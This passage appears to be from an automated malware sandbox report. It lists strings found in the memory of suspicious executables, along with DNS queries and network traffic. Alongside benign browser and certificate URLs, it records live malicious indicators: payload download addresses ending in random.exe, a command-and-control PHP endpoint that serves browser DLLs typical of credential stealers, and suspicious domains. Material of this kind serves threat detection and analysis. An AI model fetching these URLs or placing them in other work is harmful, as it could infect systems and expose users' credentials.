Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3497045795.000001FAB86DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3497045795.000001FAB86DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3497045795.000001FAB86DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://builtin-addons/search-detection/resource://search-extensions/wikipedia/://.adsafeprotected.com/jsvid?https://ads.stickyadstv.com/firefox-etp://.adsafeprotected.com/services/pub://www.facebook.com/platform/impression.phpblocklisted:FEATURE_FAILURE_PARSE_DRIVER equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://devtools/server/devtools-server.jsdevtools.performance.recording.ui-base-urlDevToolsStartup.jsm:handleDebuggerFlag{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}JSON Viewer's onSave failed in startPersistenceFailed to execute WebChannel callback:No callback set for this channel.WebChannel/this._originCheckCallbackFailed to listen. Callback argument missing.browser.fixup.dns_first_for_single_wordsbrowser.urlbar.dnsResolveFullyQualifiedNamesreleaseDistinctSystemPrincipalLoaderbrowser and that URL. Falling back to devtools.debugger.features.javascript-tracingdevtools.debugger.remote-websocketresource://devtools/shared/security/socket.jsUnable to start devtools server on Got invalid request to save JSON dataDevTools telemetry entry point failed: Failed to listen. Listener already attached.@mozilla.org/network/protocol;1?name=default@mozilla.org/network/protocol;1?name=filedevtools-commandkey-javascript-tracing-toggledevtools-commandkey-profiler-start-stopdevtools/client/framework/devtools-browser@mozilla.org/uriloader/handler-service;1devtools.performance.popup.feature-flagdevtools-commandkey-profiler-capturedevtools/client/framework/devtools@mozilla.org/dom/slow-script-debug;1and deploy previews URLs are allowed.^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$https://mail.inbox.lv/compose?to=%s^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?resource://gre/modules/NetUtil.sys.mjsresource://gre/modules/FileUtils.sys.mjs{33d75835-722f-42c0-89cc-44f328e56a86}http://www.inbox.lv/rfc2368/?value=%s^([a-z+.-]+:\/{0,3})([^\/@]+@).+^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)Scheme should be either http or httpshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%shttps://poczta.interia.pl/mh/?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/local-handler-app;1gecko.handlerService.defaultHandlersVersionget FIXUP_FLAGS_MAKE_ALTERNATE_URI{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/JSONFile.sys.mjshttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/web-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1browser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAG_FORCE_ALTERNATE_URICan't invoke URIFixup in the content processextractScheme/fixupChangedProtocol<isDownloadsImprovementsAlreadyMigrated_injectDefaultProtocolHandlersIfNeededhandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjsMust have a source and a callback@mozilla.org/network/async-stream-copier;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLNon-zero amount of bytes must be specified@mozilla.org/network/file-input-stream;1@mozilla.org/network/input-stream-pump;1@mozilla.org/intl/converter-input-stream;1newChannel requires a single object argumenthttps://mail
Source: firefox.exe, 0000002D.00000002.3666377402.000001FABB6DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3670137618.000001FABBB39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3670137618.000001FABBB9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3666377402.000001FABB69C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3666377402.000001FABB6F9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3670137618.000001FABBB20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: push-hook.cyou
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: frogs-severz.sbs
Source: global traffic	DNS traffic detected: DNS query: occupy-blushi.sbs
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4775Host: login.live.com

Source: c2fcbf308b.exe, 0000001B.00000003.2936500946.00000000076A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: c2fcbf308b.exe, 0000001B.00000003.2936500946.00000000076A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 0000002D.00000002.3547609952.000001FAB9F49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002D.00000002.3323100316.000001FAAA86B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe1
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe~
Source: file.exe, 00000000.00000002.2602246005.00000000232F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2571085953.0000000001186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeF
Source: file.exe, 00000000.00000002.2571085953.0000000001186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeX
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe&
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeP
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeX
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeM
Source: file.exe, 00000000.00000002.2569760709.0000000000A17000.00000040.00000001.01000000.00000003.sdmp, 27ee25f0d2.exe, 0000001D.00000002.3160151748.000000000179E000.00000004.00000020.00020000.00000000.sdmp, 27ee25f0d2.exe, 0000002F.00000002.3302082119.000000000138B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2571085953.0000000001186000.00000004.00000020.00020000.00000000.sdmp, 27ee25f0d2.exe, 0000001D.00000002.3160151748.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, 27ee25f0d2.exe, 0000001D.00000002.3160151748.000000000179E000.00000004.00000020.00020000.00000000.sdmp, 27ee25f0d2.exe, 0000001D.00000002.3160151748.00000000017F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2571085953.0000000001186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2571085953.0000000001186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2571085953.0000000001186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dlly
Source: file.exe, 00000000.00000002.2571085953.0000000001186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2571085953.0000000001186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2571085953.0000000001186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll-
Source: file.exe, 00000000.00000002.2571085953.0000000001186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2571085953.0000000001186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2571085953.0000000001186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllg
Source: file.exe, 00000000.00000002.2571085953.0000000001186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 27ee25f0d2.exe, 0000001D.00000002.3160151748.000000000179E000.00000004.00000020.00020000.00000000.sdmp, 27ee25f0d2.exe, 0000001D.00000002.3160151748.00000000017F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 27ee25f0d2.exe, 0000001D.00000002.3160151748.000000000179E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&
Source: file.exe, 00000000.00000002.2602246005.0000000023380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php-9k
Source: file.exe, 00000000.00000002.2602246005.0000000023380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php.
Source: 27ee25f0d2.exe, 0000001D.00000002.3160151748.00000000017F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: file.exe, 00000000.00000002.2602246005.0000000023373000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php5
Source: 27ee25f0d2.exe, 0000001D.00000002.3160151748.00000000017F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpJa
Source: file.exe, 00000000.00000002.2571085953.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php_
Source: file.exe, 00000000.00000002.2569760709.0000000000A17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2602246005.0000000023380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpb
Source: file.exe, 00000000.00000002.2602246005.0000000023380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: 27ee25f0d2.exe, 0000001D.00000002.3160151748.00000000017F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpza
Source: 27ee25f0d2.exe, 0000001D.00000002.3160151748.00000000017F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/kWj
Source: 27ee25f0d2.exe, 0000001D.00000002.3160151748.00000000017F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 27ee25f0d2.exe, 0000002F.00000002.3302082119.000000000138B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206:
Source: skotes.exe, 00000016.00000002.3301829204.00000000011B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000016.00000002.3301829204.00000000011B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php=
Source: skotes.exe, 00000016.00000002.3301829204.00000000011D8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000016.00000002.3301829204.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6639161109/vg9qcBa.exe
Source: skotes.exe, 00000016.00000002.3301829204.00000000011D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6639161109/vg9qcBa.exef
Source: skotes.exe, 00000016.00000002.3301829204.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6639161109/vg9qcBa.exeswsock.dllYvf
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: 684030933f.exe, 0000001C.00000003.3122599924.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 684030933f.exe, 0000001C.00000003.3122599924.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000002D.00000002.3651913103.000001FABA52E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3238461924.000001FABA530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%shttp://poczta
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: 684030933f.exe, 0000001F.00000002.3301305599.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microP
Source: 684030933f.exe, 0000001F.00000002.3301305599.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microPt
Source: 684030933f.exe, 0000001C.00000003.3122599924.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: 684030933f.exe, 0000001C.00000003.3122599924.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 684030933f.exe, 0000001C.00000003.3122599924.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB194000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 684030933f.exe, 0000001C.00000003.3122599924.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 684030933f.exe, 0000001C.00000003.3122599924.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: firefox.exe, 0000002D.00000002.3677741157.000001FABCF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000002D.00000002.3689507199.000001FAC2542000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3664292924.000001FABB30D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlwebext-quarantine-confirmation-line-2ACTIVITY_SUBTYPE_
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000002D.00000002.3423827552.000001FAB7BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com8
Source: firefox.exe, 0000002D.00000002.3335512997.000001FAB608A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000002D.00000002.3335512997.000001FAB6061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000002D.00000002.3335512997.000001FAB608A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000002D.00000002.3335512997.000001FAB6061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000002D.00000002.3335512997.000001FAB608A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000002D.00000002.3323100316.000001FAAA803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: c2fcbf308b.exe, 0000001B.00000003.2936500946.00000000076A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: c2fcbf308b.exe, 0000001B.00000003.2936500946.00000000076A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
